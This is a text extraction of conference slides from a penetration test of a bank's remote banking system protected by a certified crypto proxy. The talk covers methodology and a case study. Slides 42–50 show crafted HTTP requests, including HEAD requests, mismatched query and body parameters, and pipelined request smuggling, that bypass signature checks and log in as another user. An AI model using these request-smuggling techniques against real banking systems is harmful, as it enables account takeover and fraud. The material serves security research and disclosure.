SlideShare a Scribd company logo
1 of 57
You Can Be Anything You Want to Be:
 Breaking Through Certified Crypto
          in Banking Apps
        Andrew Petukhov (Founder/CTO, Solidlab)
           George Noseevich (PhD student, MSU)
   Dennis Gamayunov (Acting Head, Information Systems
                   Security Lab, MSU)
And along comes…

INTRO
    George Noseevich
    Andrew Petukhov
    Dennis Gamayunov


                       2
Part One
 __________________________________________________________________
/                                                                   
|There was me, that is Dennis,                                      |
|                                                                   |
|and my two droogs, that is                                         |
|                                                                   |
|Georgie and Andrew, and we sat                                     |
|                                                                   |
|in the lab making up our                                           |
|                                                                   |
|rassoodocks what to do with the                                    |
|                                                                   |
|Big Bank’s RBS, a GOST crypto                                      |
|                                                                   |
|hardened bastard though rare.                                      |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |      3
                                                   ||     ||
What we see
 __________________________________________________________________
/
|• An RBS, which uses crypto for                                    
                                                                    |
|                                                                   |
|   – Non-repudiation                                               |
|                                                                   |
|   – Authenticity                                                  |
|                                                                   |
|   – Protocol security                                             |
|                                                                   |
|
|
 • RBS comply with Russian Central                                  |
                                                                    |
|
|
   Bank regulations                                                 |
                                                                    |
|                                                                   |
|• …unbreakable : -(            ~
                                                                    |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |      4
                                                   ||     ||
What's it going to
                    be then, eh?
__________________________________________________________________
/                                                                   
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |      5
                                                   ||     ||
What comes with
                   UltraViolence
__________________________________________________________________
/
|• Bypass non-repudiation (force                                    
                                                                    |
|
|
   RBS to process non-signed                                        |
                                                                    |
|
|
   requests)                                                        |
                                                                    |
|
|
 • Bypass second authentication                                     |
                                                                    |
|
|
   layer (enforced with crypto)                                     |
                                                                    |
|
|
 • Which finally allowed to login                                   |
                                                                    |
|
|
   into RBS as any valid user and                                   |
                                                                    |
|  file any request to the RBS                                      |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |      6
                                                   ||     ||
And along comes…

SYSTEM UNDER ASSESSMENT
    George Noseevich
    Andrew Petukhov
    Dennis Gamayunov


                          7
Target application
                      type (1/3)
__________________________________________________________________
/
|• We aim at pentesting financial                                   
                                                                    |
|                                                                   |
|  organizations, who try to:                                       |
|                                                                   |
|   – Ensure transport layer security,                              |
|                                                                   |
|     non-repudiation and authentication                            |
|                                                                   |
|   – Comply with regulations                                       |
|                                                                   |
|   – Protect legacy systems                                        |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |      8
                                                   ||     ||
Target application
                      type (2/3)
__________________________________________________________________
/ • Technical best-practices                                        
|                                                                   |
|    – Confidentiality, authenticity, non-                          |
|      repudiation                                                  |
| • Compliance                                                      |
|                                                                   |
|    – Use of certified crypto                                      |
| • Business needs                                                  |
|                                                                   |
|
     – In-house vs outsource                                        |
|    – Solid vs modular                                             |
|    – Customer does not simply develop his own                     |
|                                                                   |
       certified crypto
|                                                                   |
|    – Outsourcing app development to certified                     |
      crypto writers – never a good idea                           /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |      9
                                                   ||     ||
Target application
                      type (3/3)
__________________________________________________________________
/
|• Solution: crypto hardened thick                                  
                                                                    |
|                                                                   |
|  client + server side                                             |
|                                                                   |
|  application specific crypto                                      |
|                                                                   |
|  proxy                                                            |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     10
                                                   ||     ||
Seeding the arch
 __________________________________________________________________
/                         Business logic over HTTP                              
|                                                                               |
|           Client side                                   Server side           |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|                                                                               |
|           Browser                                    RBS Application          |
|                                                          Server               |
|                                                                               |
                                                                               /
 ------------------------------------------------------------------
         George Noseevich
                                                       ^__^
         Andrew Petukhov                              (oo)_______
         Dennis Gamayunov
                                                        (__)           )/
                                                             ||----w |       11
                                                             ||        ||
let’s add some REQs
 __________________________________________________________________
/                                                                                                
|                                                                                                |
|                    Req++: Transport security & Certified crypto                                |
|        Client side                                              Server side                    |
|                                                                                                |
|                                                                                                |
|                                                                                                |
|                                                                                                |
|                                                                                                |
|                                                                                                |
|                                                                                                |
|                                     Crypto server powered by                                   |
                                       certified crypto provider               RBS Application
| Browser Tunnel endpoint                                                                        |
                                          Terminates tunnel                        Server
|                                                                                                |
|                                                                                                |
                                                                                                /
 ------------------------------------------------------------------
         George Noseevich
                                                                  ^__^
         Andrew Petukhov                                         (oo)_______
         Dennis Gamayunov
                                                                   (__)            )/
                                                                          ||----w |           12
                                                                          ||      ||
a little bit more...
 __________________________________________________________________
/                                                                                                          
|                         Req++: Authenticity & Non-repudiation                                            |
|                                                                                                          |
           Client side                                                Server side
|                                                                                                          |
|                                                                                                          |
|                                                                                                          |
|                                                                                                          |
|                                                                                                          |
|                                                                                                          |
|                                                                                                          |
|                                               Crypto server                        RBS Application       |
|   Browser Tunnel endpoint                                                               Server           |
                                               Verifies signature
|           Signs ingress request       If ok logs for non-repudiation            Trusts custom headers    |
|            Puts everything into            and passes upstream                 Matches id from session |
|              custom headers                                                      with id from header     |
                                                                                                          /
 ------------------------------------------------------------------
           George Noseevich
                                                                         ^__^
           Andrew Petukhov                                             (oo)_______
           Dennis Gamayunov
                                                                          (__)                )/
                                                                                  ||----w |             13
                                                                                  ||          ||
And along comes…

METHODOLOGY
    George Noseevich
    Andrew Petukhov
    Dennis Gamayunov


                       14
Common sense suggests
 __________________________________________________________________
/
|• One doesn’t simply implement                                     
                                                                    |
|
|
   application level crypto protocol                                |
                                                                    |
|
|
 • One doesn’t simply implement HTTP                                |
                                                                    |
|  client or server from scratch                                    |
|                                                                   |
|
|
 • Many parsers in a row suggest                                    |
                                                                    |
|  inconsistencies => possibility for                               |
|                                                                   |
|  smuggling                                                        |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     15
                                                   ||     ||
Objective
 __________________________________________________________________
/                                                                   
|                                                                   |
|
|
 • Objective:                                                       |
                                                                    |
|    – find differences in HTTP handling at                         |
|                                                                   |
|      crypto server side and at application                        |
|      server side                                                  |
|                                                                   |
|
|
 • Exploit:                                                         |
                                                                    |
|    – use differences to bypass signature                          |
|                                                                   |
|      validation                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     16
                                                   ||     ||
Basic steps for
                      reversing arch
__________________________________________________________________
/                                                                   
|                                                                   |
|• Reverse client side features                                     |
|                                                                   |
|• Survey server side features                                      |
|                                                                   |
|• Fingerprint integration protocol                                 |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     17
                                                   ||     ||
Dealing with client
                            side crypto
__________________________________________________________________
/
|
 • Which HTTP client and what HTTP                                  
                                                                    |
|  parser are used?                                                 |
|                                                                   |
|    – i.e. windows API or java HttpClient                          |
|
|
 • What parts of HTTP request are                                   |
                                                                    |
|  getting signed?                                                  |
|                                                                   |
|    – in POST? in GET? in HEAD? in TRACE?                          |
|
|
 • What additional metadata is                                      |
                                                                    |
|  attached to requests?                                            |
|                                                                   |
|    – how signature is stored?                                     |
    – how key ID is passed to the server?                          /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     18
                                                   ||     ||
Because nothing
                            ever changes…
__________________________________________________________________
/
|
  • XML Signature Wrapping                                          
                                                                    |
|    – another kind of “You can be anything you want                |
|      to be” www.youtube.com/watch?v=RHIkb9yEV1k                   |
|                                                                   |
|    – “Analysis of Signature Wrapping Attacks and                  |
|      Countermeasures“                                             |
|                                                                   |
| • CWE-347: Improper Verification of                               |
|   Cryptographic Signature and related CVE                         |
|                                                                   |
| • Web App Cryptology: A Study in Failure                          |
|                                                                   |
| • Now and then: Insecure random numbers                           |
|                                                                   |
 • Now and then: Improper PKI implementation /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     19
                                                   ||     ||
Fingerprinting HTTP
                               parsers
__________________________________________________________________
/                                                                   
|• HTTP parameter pollution                                         |
|                                                                   |
|
     – the same parameter in query or body                          |
|    – the same parameter in query and body                         |
|                                                                   |
|• Duplicate headers                                                |
|    – control headers with metadata                                |
|                                                                   |
|    – Content-Length header                                        |
|                                                                   |
|
 • HTTP parameter contamination                                     |
|    – which characters are valid for termination |
|      of header values?                                            |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     20
                                                   ||     ||
Fingerprinting WWW
                                 server
__________________________________________________________________
/                                                                   
|• Which HTTP version is supported?                                 |
|                                                                   |
|
     – does crypto server support multiple HTTP                     |
|      requests per connection?                                     |
|    – does it support HTTP/0.9                                     |
|                                                                   |
|• How does crypto server treat incorrect                           |
|                                                                   |
|
   or duplicate Content-Length headers?                             |
|• Which HTTP methods does it support?                              |
|                                                                   |
|• Does crypto server support multipart                             |
|                                                                   |
|
   requests or chunked encoding?                                    |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     21
                                                   ||     ||
Because nothing
                         ever changes…
 __________________________________________________________________
/                                                                   
|                                                                   |
| • Google for <HPP bypass WAF>                                     |
|                                                                   |
| • CWE-444: Inconsistent Interpretation of                         |
|                                                                   |
|
    HTTP Requests                                                   |
| • and all the CVE instances related to CWE- |
|                                                                   |
|   444                                                             |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     22
                                                   ||     ||
Fingerprinting
                  integration protocol
__________________________________________________________________
/
|• How crypto server communicates                                   
                                                                    |
|
|
   validation status and metadata to                                |
                                                                    |
|  application server?                                              |
|                                                                   |
|    – meta data is relayed as submitted by                         |
|                                                                   |
|
       the client                                                   |
|    – in yet unknown part of the request                           |
|                                                                   |
|    – how to get into that part?                                   |
|                                                                   |
         • HTTP Trace method/Debug interface in web
|                                                                   |
|           application/Guess/Brutefroce/Read                       |
           documentation/Ask developers aka Social engineer /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     23
                                                   ||     ||
And along comes…

CASE STUDY
    George Noseevich
    Andrew Petukhov
    Dennis Gamayunov


                       24
It all started as an
                          ordinary hack
__________________________________________________________________
/                                                                   
|                                                                   |
| ● Test our shiny RBS web app, they                                |
|                                                                   |
|   said                                                            |
|                                                                   |
| ● It comes with a certified crypto                                |
|                                                                   |
|   protection, they said                                           |
|                                                                   |
| ● Instantly found some common web app                             |
|                                                                   |
|
    bugs                                                            |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     25
                                                   ||     ||
…then the crypto
                        came into play
__________________________________________________________________
/
|
  ● Crypto ensures non-repudiation                                  
                                                                    |
|
|
     –  Your crypto-signed attack vectors                           |
                                                                    |
|       will be used against you in court                           |
|                                                                   |
| ● Crypto ensures authenticity                                     |
|                                                                   |
|    –  Session hijacking is essentially                            |
|       useless                                                     |
|                                                                   |
|    –  Can't login as other user without                           |
|
|
        his keys                                                    |
                                                                    |
| ●

    This greatly reduces severity                                   |
                                                                    /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     26
                                                   ||     ||
Reversing the client
 __________________________________________________________________
/                                                                   
| ● Closed-source windows app                                       |
|                                                                   |
| ●
|
    Traffic dump gives no clues                                     |
                                                                    |
|
| ● The protocol is custom, no docs                                 |
                                                                    |
|
|   available                                                       |
                                                                    |
|                                                                   |
| ● No time for long IDA sessions                                   |
|                                                                   |
|
|
  ● Seems tough                                                    |
                                                                    |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     27
                                                   ||     ||
Reversing the client:
                         the lazy way
__________________________________________________________________
/                                                                   
| ●Client uses crypto primitives                                    |
|                                                                   |
|  from bundled shared libs                                         |
|                                                                   |
| ●
|
   Library call hooks and API call                                  |
                                                                    |
|
|
   traces FTW!                                                      |
                                                                    |
|
| ●Filter traces to get data that                                   |
                                                                    |
|
|  is easy to understand                                            |
                                                                    |
|                                                                   |
|• API Monitor (bit.ly/37BTzf)                                      |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     28
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     29
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|                Encrypt user data                                  |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     30
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|                What is being encrypted?                           |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     31
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|                What is being encrypted?                           |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     32
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|                What is being encrypted?                           |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     33
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|                  What is being signed?                            |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     34
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|        Send it through the tunnel                                 |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     35
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|        Receive encrypted response                                 |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     36
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|        Decrypt the response                                       |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     37
                                                   ||     ||
API call trace
 __________________________________________________________________
/                                                                   
|        Send it back to browser                                    |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     38
                                                   ||     ||
so it comes like this
   __________________________________________________________________
  /                                                                                                          
  |                         Req++: Authenticity & Non-repudiation                                            |
  |                                                                                                          |
             Client side                                                Server side
  |                                                                                                          |
  |                                                                                                          |
  |
GET /login?name=value HTTP/1.1                                                                               |
  |
Host: 10.6.28.19                                                                                             |
  |                                                                                                          |
  |                                                                                                          |
  |                                                                                                          |
  |                                               Crypto server                        RBS Application       |
  |   Browser Tunnel endpoint                                                               Server           |
                                                 Verifies signature
  |           Signs ingress request       If ok logs for non-repudiation            Trusts custom headers    |
  |            Puts everything into            and passes upstream                 Matches id from session |
  |              custom headers                                                      with id from header     |
                                                                                                            /
   ------------------------------------------------------------------
             George Noseevich
                                                                           ^__^
             Andrew Petukhov                                             (oo)_______
             Dennis Gamayunov
                                                                            (__)                )/
                                                                                    ||----w |             39
                                                                                    ||          ||
and is secured like
                                       this
 __________________________________________________________________
/                                                                                                          
|                         Req++: Authenticity & Non-repudiation                                            |
|                                                                                                          |
           Client side                                                Server side
|                                                                                                          |
|         GET /login?name=value HTTP/1.1                                                                   |
|         Host: 10.6.28.19                                                                                 |
|         Certificate_number: 0x849                                                                        |
|         Form_data: name=value                                                                            |
|         Signature:                                                                                       |
|         6B8A57A3EA9C25D77C01F4E957D5752C69F61D                                                           |
|                                               Crypto server                        RBS Application       |
          3451E87DD18046C51DC9A9AD63C7718708159B
    Browser Tunnel endpoint                                                               Server
|                                              Verifies signature                                          |
|
          7ECF5FC8EDF4424F813DB65EF5E2D21D2F389E
            Signs ingress request                                                                          |
                                        If ok logs for non-repudiation            Trusts custom headers
|         03319CA25D7003
             Puts everything into            and passes upstream                 Matches id from session |
|              custom headers                                                      with id from header     |
                                                                                                          /
 ------------------------------------------------------------------
           George Noseevich
                                                                         ^__^
           Andrew Petukhov                                             (oo)_______
           Dennis Gamayunov
                                                                          (__)                )/
                                                                                  ||----w |             40
                                                                                  ||          ||
Further notices
 __________________________________________________________________
/ ● Proxy signs query string for GET,                               
|                                                                   |
|   message body for POST                                           |
| ●
|
    The server actually checks that                                 |
                                                                    |
|   Form_data reflects the query                                    |
|   string/body                                                     |
|                                                                   |
| ● The server checks the Cert_num and                              |
|   signature                                                       |
|                                                                   |
| ● The web app checks that cert_num                                |
|   matches the current user                                        |
|                                                                   |
| ● Kinda unbreakable, heh?                                         |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     41
                                                   ||     ||
Non-repudiation
                                                      Take one
   __________________________________________________________________
  /                                                                                         
  |                           Bypass Non-repudiation                                        |
  |                                                                                         |
  |          Client side                                   Server side                      |
  |                                                                                         |
  |
HEAD /bank/welcome?name=value HTTP/1.1                                                      |
  |
Host: 10.6.28.19                                                                            |
  |                                                                                         |
  |                                                                                         |
  |                                                                                         |
  |                                       Crypto server                  RBS Application    |
  |   Browser Tunnel endpoint                                                Server         |
  |                                                                                         |
  |                                                                                         |
  |                                                                                         |
                                                                                           /
   ------------------------------------------------------------------
             George Noseevich
                                                              ^__^
             Andrew Petukhov                               (oo)_______
             Dennis Gamayunov
                                                               (__)              )/
                                                                      ||----w |          42
                                                                      ||        ||
Non-repudiation
                                                   Take one
 __________________________________________________________________
/                                                                                         
|                           Bypass Non-repudiation                                        |
|                                                                                         |
|          Client side                                   Server side                      |
|                                                                                         |
|         HEAD /bank/welcome?name=value HTTP/1.1                                          |
|         Host: 10.6.28.19                                                                |
|         Certificate_number: 0x849                                                       |
|                                                                                         |
|                                                                                         |
|                                       Crypto server                  RBS Application    |
|   Browser Tunnel endpoint                                                Server         |
|                                                                                         |
|                                                                                         |
|                                                                                         |
                                                                                         /
 ------------------------------------------------------------------
           George Noseevich
                                                            ^__^
           Andrew Petukhov                               (oo)_______
           Dennis Gamayunov
                                                             (__)              )/
                                                                    ||----w |          43
                                                                    ||        ||
Non-repudiation
                                                     Take two
  __________________________________________________________________
 /                                                                                         
 |                           Bypass Non-repudiation                                        |
 |                                                                                         |
 |          Client side                                   Server side                      |
 |                                                                                         |
 |
POST /bank/welcome?name=value1 HTTP/1.1                                                    |
 |
Host: 10.6.28.19                                                                           |
 |                                                                                         |
Content-Length: 15
 |                                                                                         |
 |                                                                                         |
name=value2
 |                                       Crypto server                  RBS Application    |
 |   Browser Tunnel endpoint                                                Server         |
 |                                                                                         |
 |                                                                                         |
 |                                                                                         |
                                                                                          /
  ------------------------------------------------------------------
            George Noseevich
                                                             ^__^
            Andrew Petukhov                               (oo)_______
            Dennis Gamayunov
                                                              (__)              )/
                                                                     ||----w |          44
                                                                     ||        ||
Non-repudiation
                                                   Take two
 __________________________________________________________________
/                                                                                         
|           POST /bank/welcome?name=value1 HTTP/1.1
                            Bypass Non-repudiation                                        |
|           Host: 10.6.28.19                                                              |
|          Client side                                   Server side                      |
            Content-Length: 15
|           Certificate_number: 0x849                                                     |
|                                                                                         |
            Form_data: name=value2
|                                                                                         |
|           Signature:                                                                    |
|           3195E979E107731A2572197AB9D8BC01CE2C7EE0C4                                    |
|           2B97A02393F1263C23E25D2D21E7AA7CB07114491A                                    |
|           72750C2EFD1AEEAEB357C874BFB3100336F5BD01C0
                                        Crypto server                  RBS Application    |
|   Browser Tunnel endpoint                                                Server         |
            0C
|                                                                                         |
|           name=value2                                                                   |
|                                                                                         |
                                                                                         /
 ------------------------------------------------------------------
           George Noseevich
                                                            ^__^
           Andrew Petukhov                               (oo)_______
           Dennis Gamayunov
                                                             (__)              )/
                                                                    ||----w |          45
                                                                    ||        ||
Non-repudiation
                                    Take two – Exploit (!!!)
 __________________________________________________________________
/                                                                                    
|           POST /bank/welcome?name=attack-value HTTP/1.1
                            Bypass Non-repudiation                                   |
|           Host: 10.6.28.19                                                         |
|          Client side                                   Server side                 |
            Content-Length: 15
|           Certificate_number: 0x849                                                |
|                                                                                    |
            Form_data: name=common-value
|                                                                                    |
|           Signature:                                                               |
|           3195E979E107731A2572197AB9D8BC01CE2C7EE0C42B9                            |
|           7A02393F1263C23E25D2D21E7AA7CB07114491A72750C                            |
|           2EFD1AEEAEB357C874BFB3100336F5BD01C00C RBS Application
                                        Crypto server                                |
|   Browser Tunnel endpoint                                              Server      |
|           name=common-value                                                        |
|                                                                                    |
|                                                                                    |
                                                                                    /
 ------------------------------------------------------------------
           George Noseevich
                                                            ^__^
           Andrew Petukhov                               (oo)_______
           Dennis Gamayunov
                                                             (__)           )/
                                                                    ||----w |     46
                                                                    ||      ||
So what?
 __________________________________________________________________
/                                                                   
| In Soviet Russia who cares about repudiation? |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     47
                                                   ||     ||
Authentication
                                       Log in as any other user
 __________________________________________________________________
/                                                                                            
|                           Bypass crypto authentication                                     |
|                                                                                            |
           Client side                                     Server side
|                                                                                            |
|                                                                                            |
|
          POST http://10.6.28.19/login HTTP/1.1                                              |
|         Host: 10.6.28.19                                                                   |
|         Content-Type: application/x-www-form-                                              |
|         urlencoded                                                                         |
|         Content-Length: 36                                                                 |
|                                          Crypto server                  RBS Application    |
          Certificate_number: 0x717
    Browser Tunnel endpoint
|                                                                             Server         |
|                                                                                            |
          sName=772965163660&sPass=valid.60
|                                                                                            |
|                                                                                            |
                                                                                            /
 ------------------------------------------------------------------
           George Noseevich
                                                              ^__^
           Andrew Petukhov                                  (oo)_______
           Dennis Gamayunov
                                                               (__)               )/
                                                                       ||----w |          48
                                                                       ||        ||
Authentication
                            Crypto id and session id do not match
 __________________________________________________________________
/                                                                                            
|                           Bypass crypto authentication                                     |
|                                                                                            |
           Client side                                     Server side
|                                                                                            |
|                                                                                            |
|                                                                                            |
|                                                                                            |
|                                                                                            |
|                                                                                            |
|                                                                                            |
|                                          Crypto server                  RBS Application    |
|   Browser Tunnel endpoint                                                   Server         |
|                                                                                            |
|                                                                                            |
|                                                                                            |
                                                                                            /
 ------------------------------------------------------------------
           George Noseevich
                                                              ^__^
           Andrew Petukhov                                  (oo)_______
           Dennis Gamayunov
                                                               (__)               )/
                                                                       ||----w |          49
                                                                       ||        ||
Authentication
                                                        But…
 __________________________________________________________________
/                                                                                            
 HEAD
|                           Bypass crypto authentication                                     |
|http://10.6.28.19/login?sName=772865163421                                                  |
|&sPass=valid.21 HTTP/1.1
           Client side                                     Server side
                                                                                             |
|Host: 10.6.28.19                                                                            |
|Connection: keep-alive                                                                      |
|Content-Length: 10                                                                          |
|                                                                                            |
|p=nonemptybody                                                                              |
|                                                                                            |
 POST http://10.6.28.19/login HTTP/1.1     Crypto server
|                                                                         RBS Application    |
|Host: 10.6.28.19
    Browser Tunnel endpoint                                                   Server         |
|Content-Type: application/x-www-form-                                                       |
|urlencoded                                                                                  |
|Content-Length: 36                                                                          |
Certificate_number: 0x717                                                                   /
 ------------------------------------------------------------------
 sName=772965163660&sPass=valid.60
           George Noseevich
                                                              ^__^
           Andrew Petukhov                                  (oo)_______
           Dennis Gamayunov
                                                               (__)               )/
                                                                       ||----w |          50
                                                                       ||        ||
Authentication
                                                        But…
 __________________________________________________________________
/                                                                                            
|                HEAD       Bypass crypto authentication                                     |
|                http://10.6.28.19/login?sName=772865163421&sPass=|
           Client side                                     Server side
|                valid.21 HTTP/1.1                                                           |
|                Host: 10.6.28.19                                                            |
|                Connection: keep-alive                                                      |
|                                                                                            |
                 Content-Length: 10
|                                                                                            |
|
                 Certificate_number: 0x849                                                   |
|                                                                                            |
|                p=nonemptybody            Crypto server                  RBS Application    |
|   Browser Tunnel endpoint
                 POST http://10.6.28.19/login HTTP/1.1 Server                                |
|                Host: 10.6.28.19                                                            |
|                Content-Type: application/x-www-form-urlencoded |
|                Content-Length: 36                                                          |
                                                                                            /
                 Certificate_number: 0x717
 ------------------------------------------------------------------
                                                              ^__^
                 sName=772965163660&sPass=valid.60
           George Noseevich
           Andrew Petukhov                                  (oo)_______
           Dennis Gamayunov
                                                               (__)               )/
